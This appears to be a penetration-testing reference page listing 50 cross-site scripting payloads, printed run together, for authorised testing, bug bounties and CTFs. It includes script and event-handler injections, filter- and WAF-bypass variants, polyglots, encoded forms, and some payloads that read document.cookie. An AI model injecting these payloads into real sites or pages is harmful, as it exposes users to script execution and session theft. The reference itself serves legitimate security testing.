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Cross-Site Scripting (XSS) payloads for testing reflected, stored, and DOM-based XSS vulnerabilities. (50 payloads)
<script>alert(1)</script><script>alert(document.domain)</script><script>alert(document.cookie)</script><img src=x onerror=alert(1)><svg onload=alert(1)><body onload=alert(1)><input onfocus=alert(1) autofocus><marquee onstart=alert(1)><details open ontoggle=alert(1)><video src=x onerror=alert(1)><div onmouseover="alert(1)">hover me</div><div onmouseenter="alert(1)">hover me</div><a href="#" onclick="alert(1)">click</a><input onblur=alert(1) autofocus><input autofocus><select onfocus=alert(1) autofocus><textarea onfocus=alert(1) autofocus><keygen onfocus=alert(1) autofocus><audio src onloadstart=alert(1)><form onsubmit=alert(1)><input type=submit><object data="javascript:alert(1)"><ScRiPt>alert(1)</ScRiPt><scr<script>ipt>alert(1)</scr</script>ipt><script>alert`1`</script><img src=x onerror="alert(1)"><img src=x onerror=\u0061lert(1)><img/src=x onerror=alert(1)><img src=x onerror=alert(1)//><svg/onload=alert(1)>"><img src=x onerror=alert(1)>'-alert(1)-'</script><script>alert(1)</script><a href="javascript:void(0)" onmouseover=alert(1)>x</a>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>"><svg/onload=alert(1)>//javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>#<img src=x onerror=alert(1)>javascript:alert(document.domain)data:text/html,<script>alert(1)</script>data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==window.name='<script>alert(1)</script>'document.location="javascript:alert(1)"%3Cscript%3Ealert(1)%3C/script%3E%253Cscript%253Ealert(1)%253C/script%253E<script>alert(1)</script><script>alert(1)</script>\x3cscript\x3ealert(1)\x3c/script\x3e\u003cscript\u003ealert(1)\u003c/script\u003e<script>eval(atob("YWxlcnQoMSk="))</script><script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>Level up your security testing
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Quick-reference payload guides
It's a quick-reference collection of 50 XSS payloads for testing XSS Payloads & Filter Bypass — vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or open the XSS Payload generator to build customized XSS variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.
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